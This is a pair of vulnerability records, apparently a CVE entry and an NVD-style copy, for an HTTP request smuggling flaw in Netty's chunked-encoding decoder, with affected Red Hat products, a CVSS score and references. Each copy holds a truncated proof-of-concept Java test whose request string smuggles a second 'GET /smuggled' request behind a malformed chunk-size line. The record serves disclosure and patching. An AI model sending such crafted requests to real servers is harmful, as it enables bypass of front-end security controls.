{"dataType": "CVE_RECORD", "dataVersion": "5.2", "cveMetadata": {"cveId": "CVE-2026-93566", "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749", "state": "PUBLISHED", "assignerShortName": "redhat", "dateReserved": "2026-09-18T10:00:52.431Z", "datePublished": "2026-09-18T14:19:29.741Z", "dateUpdated": "2026-09-18T14:19:29.741Z"}, "containers": {"cna": {"title": "Io.netty/netty-codec-http: netty: http request smuggling due to control characters in the chunk-size line", "metrics": [{"other": {"content": {"value": "Moderate", "namespace": "https://access.redhat.com/security/updates/classification/"}, "type": "Red Hat severity rating"}}, {"cvssV3_1": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "version": "3.1"}, "format": "CVSS"}], "descriptions": [{"lang": "en", "value": "### Summary\r\nNetty skips strict chunk size line validation when the line has no chunk extension (`;`), so a chunk size line containing an embedded bare CR (e.g. `0\\rX`) is accepted instead of rejected, enabling HTTP request smuggling.\r\n\r\n### Details\r\n`io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions` only runs the strict validator `HttpChunkLineValidatingByteProcessor` when a `;` is present:\r\n\r\n```java\r\n int extensionsStart = line.bytesBefore((byte) ';');\r\n if (extensionsStart == -1) {\r\n return;\r\n }\r\n```\r\n\r\nAccording to RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A\r\n\r\n`chunk-size = 1*HEXDIG`\r\n\r\n### PoC\r\n\r\n```java\r\n@Test\r\npublic void test() {\r\n String requestStr = \"POST / HTTP/1.1\\r\\n\" +\r\n \"Host: localhost\\r\\n\" +\r\n \"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\r\n \"0\\rX\\r\\n\" +\r\n \"\\r\\n\" +\r\n \"GET /smuggled HTTP/1.1\\r\\n\" +\r\n \"Host: localhost\\r\\n\" +\r\n \"Content-Length: 0\\r\\n\" +\r\n \"\\r\\n\";\r\n\r\n EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\r\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch"}], "affected": [{"vendor": "Red Hat", "product": "Red Hat AMQ Broker 7", "collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "packageName": "netty-codec-http", "defaultStatus": "affected", "cpes": ["cpe:/a:redhat:amq_broker:7"]}, {"vendor": "Red Hat", "product": "Red Hat AMQ Clients", "collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "packageName": "netty-codec-http", "defaultStatus": "affected", "cpes": ["cpe:/a:redhat:amq_clients:2023"]}, {"vendor": "Red Hat", "product": "Red Hat build of Apache Camel 4 for Quarkus 3", "collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "packageName": "netty-codec-http", "defaultStatus": "affected", "cpes": ["cpe:/a:redhat:camel_quarkus:3"]}, {"vendor": "Red Hat", "product": "Red Hat build of Apache Camel for Spring Boot 4", "collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "packageName": "netty-codec-http", "defaultStatus": "unknown", "cpes": ["cpe:/a:redhat:camel_spring_boot:4"]}, {"vendor": "Red Hat", "product": "Red Hat build of Apicurio Registry 3", "collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "packageName": "netty-codec-http", "defaultStatus": "unknown", "cpes": ["cpe:/a:redhat:apicurio_registry:3"]}, {"vendor": "Red Hat", "product": "Red Hat build of Debezium 3", "collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "packageName": "netty-codec-http", "defaultStatus": "unknown", "cpes": ["cpe:/a:redhat:debezium:3"]}, {"vendor": "Red Hat", "product": "Red Hat Build of Keycloak", "collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "packageName": "netty-codec-http", "defaultStatus": "unknown", "cpes": ["cpe:/a:redhat:build_keycloak:"]}, {"vendor": "Red Hat", "product": "Red Hat build of Quarkus", "collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "packageName": "netty-codec-http", "defaultStatus": "unknown", "cpes": ["cpe:/a:redhat:quarkus:3"]}, {"vendor": "Red Hat", "product": "Red Hat Data Grid 8", "collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "packageName": "netty-codec-http", "defaultStatus": "unknown", "cpes": ["cpe:/a:redhat:jboss_data_grid:8"]}, {"vendor": "Red Hat", "product": "Red Hat Fuse 7", "collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "packageName": "netty-codec-http", "defaultStatus": "unknown", "cpes": ["cpe:/a:redhat:jboss_fuse:7"]}, {"vendor": "Red Hat", "product": "Red Hat JBoss Enterprise Application Platform 7", "collectionURL": "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html", "packageName": "netty-codec-http", "defaultStatus": "unknown", "cpes": ["cpe:/a:redhat:jboss_enterprise_application_platform:7"]}, {"vendor": "Red Hat", "product": "Red Hat JBoss Enterprise Application Platform 8", "collectionURL": "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html", "packageName": "netty-codec-http", "defaultStatus": "affected", "cpes": ["cpe:/a:redhat:jboss_enterprise_application_platform:8"]}, {"vendor": "Red Hat", "product": "Red Hat Single Sign-On 7", "collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "packageName": "netty-codec-http", "defaultStatus": "unknown", "cpes": ["cpe:/a:redhat:red_hat_single_sign_on:7"]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-93566", "tags": ["vdb-entry", "x_refsource_REDHAT"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2536954", "name": "RHBZ#2536954", "tags": ["issue-tracking", "x_refsource_REDHAT"]}], "datePublic": "2026-09-10T00:47:37.000Z", "problemTypes": [{"descriptions": [{"cweId": "CWE-1035", "description": "CWE-1035", "lang": "en", "type": "CWE"}]}], "x_redhatCweChain": "CWE-1035", "workarounds": [{"lang": "en", "value": "See https://github.com/netty/netty/security/advisories/GHSA-rq4j-fc47-9698 for fixed versions and remediation guidance."}], "timeline": [{"lang": "en", "time": "2026-09-10T00:47:37.000Z", "value": "Reported to Red Hat."}, {"lang": "en", "time": "2026-09-10T00:47:37.000Z", "value": "Made public."}], "providerMetadata": {"orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749", "shortName": "redhat", "dateUpdated": "2026-09-18T14:19:29.741Z"}, "x_generator": {"engine": "cvelib 1.8.0"}}}}

{}

{"affected": [{"affectedData": [{"collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "cpes": ["cpe:/a:redhat:amq_broker:7"], "defaultStatus": "affected", "packageName": "netty-codec-http", "product": "Red Hat AMQ Broker 7", "vendor": "Red Hat"}, {"collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "cpes": ["cpe:/a:redhat:amq_clients:2023"], "defaultStatus": "affected", "packageName": "netty-codec-http", "product": "Red Hat AMQ Clients", "vendor": "Red Hat"}, {"collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "cpes": ["cpe:/a:redhat:camel_quarkus:3"], "defaultStatus": "affected", "packageName": "netty-codec-http", "product": "Red Hat build of Apache Camel 4 for Quarkus 3", "vendor": "Red Hat"}, {"collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "cpes": ["cpe:/a:redhat:camel_spring_boot:4"], "defaultStatus": "unknown", "packageName": "netty-codec-http", "product": "Red Hat build of Apache Camel for Spring Boot 4", "vendor": "Red Hat"}, {"collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "cpes": ["cpe:/a:redhat:apicurio_registry:3"], "defaultStatus": "unknown", "packageName": "netty-codec-http", "product": "Red Hat build of Apicurio Registry 3", "vendor": "Red Hat"}, {"collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "cpes": ["cpe:/a:redhat:debezium:3"], "defaultStatus": "unknown", "packageName": "netty-codec-http", "product": "Red Hat build of Debezium 3", "vendor": "Red Hat"}, {"collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "cpes": ["cpe:/a:redhat:build_keycloak:"], "defaultStatus": "unknown", "packageName": "netty-codec-http", "product": "Red Hat Build of Keycloak", "vendor": "Red Hat"}, {"collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "cpes": ["cpe:/a:redhat:quarkus:3"], "defaultStatus": "unknown", "packageName": "netty-codec-http", "product": "Red Hat build of Quarkus", "vendor": "Red Hat"}, {"collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "cpes": ["cpe:/a:redhat:jboss_data_grid:8"], "defaultStatus": "unknown", "packageName": "netty-codec-http", "product": "Red Hat Data Grid 8", "vendor": "Red Hat"}, {"collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "cpes": ["cpe:/a:redhat:jboss_fuse:7"], "defaultStatus": "unknown", "packageName": "netty-codec-http", "product": "Red Hat Fuse 7", "vendor": "Red Hat"}, {"collectionURL": "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html", "cpes": ["cpe:/a:redhat:jboss_enterprise_application_platform:7"], "defaultStatus": "unknown", "packageName": "netty-codec-http", "product": "Red Hat JBoss Enterprise Application Platform 7", "vendor": "Red Hat"}, {"collectionURL": "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html", "cpes": ["cpe:/a:redhat:jboss_enterprise_application_platform:8"], "defaultStatus": "affected", "packageName": "netty-codec-http", "product": "Red Hat JBoss Enterprise Application Platform 8", "vendor": "Red Hat"}, {"collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "cpes": ["cpe:/a:redhat:red_hat_single_sign_on:7"], "defaultStatus": "unknown", "packageName": "netty-codec-http", "product": "Red Hat Single Sign-On 7", "vendor": "Red Hat"}], "source": "secalert@redhat.com"}], "cveTags": [], "descriptions": [{"lang": "en", "value": "### Summary\r\nNetty skips strict chunk size line validation when the line has no chunk extension (`;`), so a chunk size line containing an embedded bare CR (e.g. `0\\rX`) is accepted instead of rejected, enabling HTTP request smuggling.\r\n\r\n### Details\r\n`io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions` only runs the strict validator `HttpChunkLineValidatingByteProcessor` when a `;` is present:\r\n\r\n```java\r\n int extensionsStart = line.bytesBefore((byte) ';');\r\n if (extensionsStart == -1) {\r\n return;\r\n }\r\n```\r\n\r\nAccording to RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A\r\n\r\n`chunk-size = 1*HEXDIG`\r\n\r\n### PoC\r\n\r\n```java\r\n@Test\r\npublic void test() {\r\n String requestStr = \"POST / HTTP/1.1\\r\\n\" +\r\n \"Host: localhost\\r\\n\" +\r\n \"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\r\n \"0\\rX\\r\\n\" +\r\n \"\\r\\n\" +\r\n \"GET /smuggled HTTP/1.1\\r\\n\" +\r\n \"Host: localhost\\r\\n\" +\r\n \"Content-Length: 0\\r\\n\" +\r\n \"\\r\\n\";\r\n\r\n EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\r\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch"}], "id": "CVE-2026-93566", "lastModified": "2026-09-18T15:17:20.290", "metrics": {"cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 2.5, "source": "secalert@redhat.com", "type": "Primary"}]}, "published": "2026-09-18T15:17:20.290", "references": [{"source": "secalert@redhat.com", "url": "https://access.redhat.com/security/cve/CVE-2026-93566"}, {"source": "secalert@redhat.com", "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2536954"}], "sourceIdentifier": "secalert@redhat.com", "vulnStatus": "Received", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-1035"}], "source": "secalert@redhat.com", "type": "Primary"}]}

{}

{}